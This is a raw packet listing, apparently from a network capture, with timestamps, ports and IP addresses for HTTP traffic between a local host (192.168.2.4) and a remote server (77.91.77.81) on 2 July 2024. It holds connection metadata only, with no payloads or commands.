Jul 2, 2024 15:26:15.649879932 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.649899006 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.650511980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.650521994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.650540113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.650551081 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.650561094 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.650568962 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.650583029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.650589943 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.650598049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.650614023 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.650640965 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.651325941 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.651335955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.651355982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.651370049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.651377916 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.651385069 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.651395082 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.651417017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.651418924 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.651436090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.651460886 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.652225971 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.652236938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.652254105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.652267933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.652277946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.652282953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.652298927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.652308941 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.652311087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.652326107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.652328968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.652354002 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.652380943 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.653114080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.653130054 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.653141022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.653157949 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.653167009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.653171062 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.653184891 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.653194904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.653203964 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.653215885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.653224945 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.653245926 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.654006004 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.654016972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.654033899 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.654045105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.654058933 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.654063940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.654076099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.654086113 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.654093027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.654104948 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.654110909 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.654128075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.654154062 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.654829025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.654843092 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.654866934 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.654891014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.674238920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.674304962 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.674315929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.674324036 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.674346924 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.674357891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.674474001 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.674484015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.674501896 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.674513102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.674535036 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.674535036 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.674587011 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.674866915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.674913883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.674966097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.675054073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.675064087 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.675070047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.675139904 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.675369024 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.675379038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.675393105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.675431967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.675441027 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.707173109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.707232952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.707243919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.707274914 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.707307100 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.707448959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.707463026 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.707490921 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.707549095 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.707633972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.707645893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.707688093 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.707860947 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.707871914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.707896948 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.707910061 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.707916975 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.707930088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.707933903 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.707967043 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.708436012 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.708448887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.708487034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.708498955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.708646059 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.708657026 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.708688021 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.708699942 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.708862066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.708872080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.708889961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.708900928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.708906889 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.708919048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.708935022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.708942890 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.708962917 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.708986044 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.744646072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.744662046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.744683981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.744749069 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.744769096 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.744781971 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.744793892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.744812012 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.744823933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.744832039 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.744853973 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.744879007 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.745228052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.745239973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.745259047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.745282888 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.745311975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.745482922 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.745507002 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.745517969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.745526075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.745539904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.745549917 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.745554924 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.745573997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.745592117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.752403021 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.752475023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.752504110 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.752511024 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.752515078 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.752554893 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.752655029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.752667904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.752710104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.752897978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.752909899 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.752927065 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.752935886 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.752949953 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.752954960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.752965927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.752995014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.753006935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.753501892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.753514051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.753532887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.753549099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.753566027 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.753597975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.753943920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.753956079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.753974915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.753984928 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.753985882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.754004955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.754004955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.754019976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.754035950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.754044056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.754070044 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.754817963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.754829884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.754848957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.754863024 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.754872084 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.754877090 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.754893064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.754910946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.754935980 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.755337000 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.755347967 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.755367994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.755381107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.755388975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.755395889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.755404949 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.755410910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.755425930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.755451918 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.756086111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.756103039 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.756117105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.756129980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.756141901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.756154060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.756165028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.756169081 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.756191015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.756210089 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.756236076 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.757071018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.757082939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.757102013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.757114887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.757127047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.757131100 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.757142067 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.757158041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.757164955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.757177114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.757186890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.757201910 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.757234097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.757824898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.757837057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.757854939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.757868052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.757883072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.757894039 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.757904053 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.757904053 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.757915020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.757930040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.757957935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.757972956 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.758668900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.758682013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.758706093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.758713007 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.758719921 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.758734941 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.758735895 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.758753061 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.758754969 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.758788109 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.779067993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.779120922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.779216051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.779228926 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.779258013 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.779269934 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.779426098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.779439926 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.779450893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.779460907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.779479980 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.779511929 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.779818058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.779828072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.779844046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.779854059 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.779860973 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.779889107 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.780219078 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.780231953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.780245066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.780262947 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.780289888 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.808989048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.809036970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.809045076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.809047937 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.809075117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.809204102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.809214115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.809226990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.809242964 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.809245110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.809269905 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.809293032 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.809550047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.809559107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.809595108 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.810208082 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.810249090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.810283899 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.810295105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.810323954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.810406923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.810439110 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.810473919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.810484886 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.810501099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.810504913 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.810535908 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.811146975 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.811182976 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.811239004 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.811249018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.811265945 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.811275959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.811286926 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.811291933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.811300993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.811312914 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.811331034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.811583042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.811625004 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.847251892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.847284079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.847295046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.847318888 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.847343922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.847518921 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.847527981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.847546101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.847560883 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.847589970 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.847887993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.847903013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.847913027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.847929001 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.847930908 CEST	49731	80	192.168.2.4	77.91.77.81
